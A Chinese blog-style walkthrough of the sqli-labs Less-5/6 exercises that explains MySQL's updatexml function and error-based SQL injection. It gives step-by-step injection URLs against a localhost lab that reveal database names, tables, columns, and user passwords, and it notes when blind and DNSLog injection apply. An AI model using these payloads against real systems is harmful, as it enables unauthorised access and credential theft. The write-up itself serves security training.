【Less5/6】报错注入

2、updatexml函数

• 语法&＃xff1a;UpdateXML(xml_target, xpath_expr, new_xml)
• xml_target:&＃xff1a; 需要操作的xml片段
• xpath_expr&＃xff1a; 需要更新的xml路径(Xpath格式)
• new_xml&＃xff1a; 更新后的内容
• updatexml使用时&＃xff0c;当xpath_expr格式出现错误&＃xff0c;mysql则会爆出xpath语法错误&＃xff08;xpath syntax&＃xff09;

此函数用来更新选定XML片段的内容&＃xff0c;将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml &＃xff0c;然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 &＃xff0c;或者找到多个匹配项&＃xff0c;则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。

• http://localhost/sqli-labs/Less-5?id&＃61;1&＃39; and updatexml(1,concat(0x7e,(select database()),0x7e),3) -- &＃43;
• 由于0x7e是~&＃xff0c;不属于xpath语法格式&＃xff0c;因此报出xpath语法错误。
• 同样该语句对输出的字符长度也做了限制&＃xff0c;其最长输出32位

二、报错注入复现

1、判断注入点

http://localhost/sqli-labs/Less-5?id&＃61;1


http://localhost/sqli-labs/Less-5?id&＃61;1&＃39;


http://localhost/sqli-labs/Less-5?id&＃61;1&＃39; and 1&＃61;1 -- &＃43; // 字符型注入


http://localhost/sqli-labs/Less-5?id&＃61;1&＃39; and 1&＃61;2 -- &＃43;


http://localhost/sqli-labs/Less-5?id&＃61;-1


综合以上操作可以得出结论&＃xff1a;

• 页面无回显&＃xff0c;不会显示我们的查询结果。
• 查询语句正确时页面会打印You are in...........&＃xff0c;错误则不显示。

可以通过布尔盲注来判断我们想要的信息&＃xff0c;参考文章&＃xff1a;https://www.cnblogs.com/Xy–1/p/12726288.html

这里我们用报错的注入方式。

2、报错查询

查询数据库及相关信息

http://localhost/sqli-labs/Less-5?id&＃61;1&＃39; and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,&＃64;&＃64;datadir),1) -- &＃43;


查询当前数据库的所有表

http://localhost/sqli-labs/Less-5?id&＃61;1&＃39; and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema&＃61;database()),0x7e),1) -- &＃43;


查询users表字段信息

http://localhost/sqli-labs/Less-5?id&＃61;1&＃39; and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema&＃61;database() and table_name&＃61;&＃39;users&＃39;),0x7e),1) -- &＃43;


查询用户和用户密码

http://localhost/sqli-labs/Less-5?id&＃61;1&＃39; and updatexml(1,concat(0x7e,(select group_concat(concat_ws(" ",username,password)) from security.users),0x7e),1) -- &＃43;


该语句对输出的字符长度也做了限制&＃xff0c;其最长输出32位。上图显示的用户信息长度为32位。

第六关和第五关相同&＃xff0c;单引号变双引号&＃xff01;

三、总结

本关sql注入可以实现的三种方式&＃xff1a;

布尔盲注&＃xff1a;

• 没有WAF
• 对请求次数没有限制

报错注入

• sql版本大于5.1
• 输出的字符长度也做了限制&＃xff0c;其最长输出32位

DNSLog注入

• secure_file_priv 需要为空
• 往期回顾&＃xff1a;https://blog.csdn.net/weixin_44032232/article/details/109262724

参考文章&＃xff1a;

https://developer.aliyun.com/article/692723